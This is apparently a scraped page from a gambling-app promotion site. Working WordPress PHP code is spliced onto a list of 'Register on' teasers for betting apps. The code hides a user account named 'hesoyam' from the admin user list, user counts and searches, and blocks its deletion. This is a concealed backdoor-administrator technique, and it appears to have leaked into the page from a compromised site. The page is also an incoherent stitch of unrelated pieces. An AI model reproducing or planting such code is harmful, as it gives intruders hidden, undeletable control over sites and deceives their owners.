add_action('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->base === 'users') {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user) {
$excluded = (array) $query->get('exclude');
$excluded[] = $protected_user->ID;
$query->set('exclude', $excluded);
}
}
}
});
add_filter('wp_count_users', function($counts) {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user) {
$counts->total_users--;
}
return $counts;
});
add_action('delete_user', function($user_id) {
$user = get_user_by('ID', $user_id);
if ($user && $user->user_login === 'hesoyam') {
wp_die(
__('User hesoyam tidak dapat dihapus.', 'textdomain'),
__('Error', 'textdomain'),
array('response' => 403)
);
}
});
add_filter('user_search_columns', function($search_columns, $search, $query) {
if (is_admin()) {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user) {
global $wpdb;
$query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
}
}
return $search_columns;
}, 10, 3);
add_filter('bulk_actions-users', function($actions) {
if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) {
unset($actions['delete']);
}
}
return $actions;
});
Sammy - Tech Mapz
Author - Sammy
Register on 1 Lottery The 1 Lottery platform functions as a single online gaming system which...
Register on Sikkim Game Sikkim Game offers an online platform which enables users to access...
Register on Tashan Win Tashan Win functions as a casual game application which serves as a dynamic...
Register on Goa Games Goa Games is a widely used online gaming application through which users have...
Register on Diu Win Diu Win App is an online gambling and earning app where users can play skill...
Register on In999 In999 Game offers more than a standard casual application because it operates as...
Register on Bounty Game Bounty Game is a one-stop digital gaming platform that brings together...
Register on 101 Game Greetings to the 101 Game, the virtual playground that offers a lot more than...
Register on 6 Club 6 Club is an online gaming platform that offers fast and interactive prediction...
Register on Bharat Club Bharat Club is an internet gaming site that features variety of...
This is an independent information site. We do not operate Tech Mapz, we are not affiliated with its operators, and we have no access to player accounts. For account, deposit or withdrawal matters please contact the operator directly. 18+ only. Play responsibly.